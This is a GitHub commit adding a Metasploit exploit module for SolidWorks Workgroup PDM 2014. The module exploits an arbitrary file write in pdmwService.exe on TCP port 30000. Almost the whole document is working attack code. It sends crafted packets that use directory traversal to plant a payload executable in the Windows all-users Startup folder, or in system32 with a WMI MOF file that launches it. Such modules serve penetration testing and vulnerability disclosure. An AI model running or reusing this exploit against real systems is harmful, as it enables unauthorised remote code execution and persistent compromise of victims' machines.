Skip to content

Commit 9d0743a

Browse files
committed
Land rapid7#3030 - SolidWorks Workgroup PDM 2014 pdmwService.exe Arbitrary File Write
2 parents 2015c56 + 1ea3588 commit 9d0743a

File tree

1 file changed

+150
-0
lines changed

1 file changed

+150
-0
lines changed
Lines changed: 150 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,150 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Exploit::Remote
9+
Rank = GoodRanking
10+
11+
include Msf::Exploit::Remote::Tcp
12+
include Msf::Exploit::EXE
13+
include Msf::Exploit::WbemExec
14+
include Msf::Exploit::FileDropper
15+
16+
def initialize(info = {})
17+
super(update_info(
18+
info,
19+
'Name' => 'SolidWorks Workgroup PDM 2014 pdmwService.exe Arbitrary File Write',
20+
'Description' => %q{
21+
This module exploits a remote arbitrary file write vulnerability in
22+
SolidWorks Workgroup PDM 2014 SP2 and prior.
23+
24+
For targets running Windows Vista or newer the payload is written to the
25+
startup folder for all users and executed upon next user logon.
26+
27+
For targets before Windows Vista code execution can be achieved by first
28+
uploading the payload as an exe file, and then upload another mof file,
29+
which schedules WMI to execute the uploaded payload.
30+
31+
This module has been tested successfully on SolidWorks Workgroup PDM
32+
2011 SP0 on Windows XP SP3 (EN) and Windows 7 SP1 (EN).
33+
},
34+
'License' => MSF_LICENSE,
35+
'Author' =>
36+
[
37+
'Mohamed Shetta <mshetta[at]live.com>', # Initial discovery and PoC
38+
'Brendan Coles <bcoles[at]gmail.com>', # Metasploit
39+
],
40+
'References' =>
41+
[
42+
['EDB', '31831'],
43+
['OSVDB', '103671']
44+
],
45+
'Payload' =>
46+
{
47+
'BadChars' => "\x00"
48+
},
49+
'Platform' => 'win',
50+
'Targets' =>
51+
[
52+
# Tested on:
53+
# - SolidWorks Workgroup PDM 2011 SP0 (Windows XP SP3 - EN)
54+
# - SolidWorks Workgroup PDM 2011 SP0 (Windows 7 SP1 - EN)
55+
['Automatic', { 'auto' => true } ], # both
56+
['SolidWorks Workgroup PDM <= 2014 SP2 (Windows XP SP0-SP3)', {}],
57+
['SolidWorks Workgroup PDM <= 2014 SP2 (Windows Vista onwards)', {}],
58+
],
59+
'Privileged' => true,
60+
'DisclosureDate' => 'Feb 22 2014',
61+
'DefaultTarget' => 0))
62+
63+
register_options([
64+
OptInt.new('DEPTH', [true, 'Traversal depth', 10]),
65+
Opt::RPORT(30000)
66+
], self.class)
67+
end
68+
69+
def peer
70+
"#{rhost}:#{rport}"
71+
end
72+
73+
#
74+
# Check
75+
#
76+
def check
77+
# op code
78+
req = "\xD0\x07\x00\x00"
79+
# filename length
80+
req << "\x00\x00\x00\x00"
81+
# data length
82+
req << "\x00\x00\x00\x00"
83+
connect
84+
sock.put req
85+
res = sock.get_once
86+
disconnect
87+
if !res
88+
vprint_error "#{peer} - Connection failed."
89+
Exploit::CheckCode::Unknown
90+
elsif res == "\x00\x00\x00\x00"
91+
vprint_status "#{peer} - Received reply (#{res.length} bytes)"
92+
Exploit::CheckCode::Detected
93+
else
94+
vprint_warning "#{peer} - Unexpected reply (#{res.length} bytes)"
95+
Exploit::CheckCode::Safe
96+
end
97+
end
98+
99+
#
100+
# Send a file
101+
#
102+
def upload(fname, data)
103+
# every character in the filename must be followed by 0x00
104+
fname = fname.scan(/./).join("\x00") + "\x00"
105+
# op code
106+
req = "\xD0\x07\x00\x00"
107+
# filename length
108+
req << "#{[fname.length].pack('l')}"
109+
# file name
110+
req << "#{fname}"
111+
# data length
112+
req << "#{[data.length].pack('l')}"
113+
# data
114+
req << "#{data}"
115+
connect
116+
sock.put req
117+
res = sock.get_once
118+
disconnect
119+
if !res
120+
fail_with(Failure::Unknown, "#{peer} - Connection failed.")
121+
elsif res == "\x00\x00\x00\x00"
122+
print_status "#{peer} - Received reply (#{res.length} bytes)"
123+
else
124+
print_warning "#{peer} - Unexpected reply (#{res.length} bytes)"
125+
end
126+
end
127+
128+
#
129+
# Exploit
130+
#
131+
def exploit
132+
depth = '..\\' * datastore['DEPTH']
133+
exe = generate_payload_exe
134+
exe_name = "#{rand_text_alpha(rand(10) + 5)}.exe"
135+
if target.name =~ /Automatic/ or target.name =~ /Vista/
136+
print_status("#{peer} - Writing EXE to startup for all users (#{exe.length} bytes)")
137+
upload("#{depth}\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\#{exe_name}", exe)
138+
end
139+
if target.name =~ /Automatic/ or target.name =~ /XP/
140+
print_status("#{peer} - Sending EXE (#{exe.length} bytes)")
141+
upload("#{depth}\\WINDOWS\\system32\\#{exe_name}", exe)
142+
mof_name = "#{rand_text_alpha(rand(10) + 5)}.mof"
143+
mof = generate_mof(::File.basename(mof_name), ::File.basename(exe_name))
144+
print_status("#{peer} - Sending MOF (#{mof.length} bytes)")
145+
upload("#{depth}\\WINDOWS\\system32\\wbem\\mof\\#{mof_name}", mof)
146+
register_file_for_cleanup("wbem\\mof\\good\\#{::File.basename(mof_name)}")
147+
end
148+
register_file_for_cleanup("#{::File.basename(exe_name)}")
149+
end
150+
end

0 commit comments

Comments
 (0)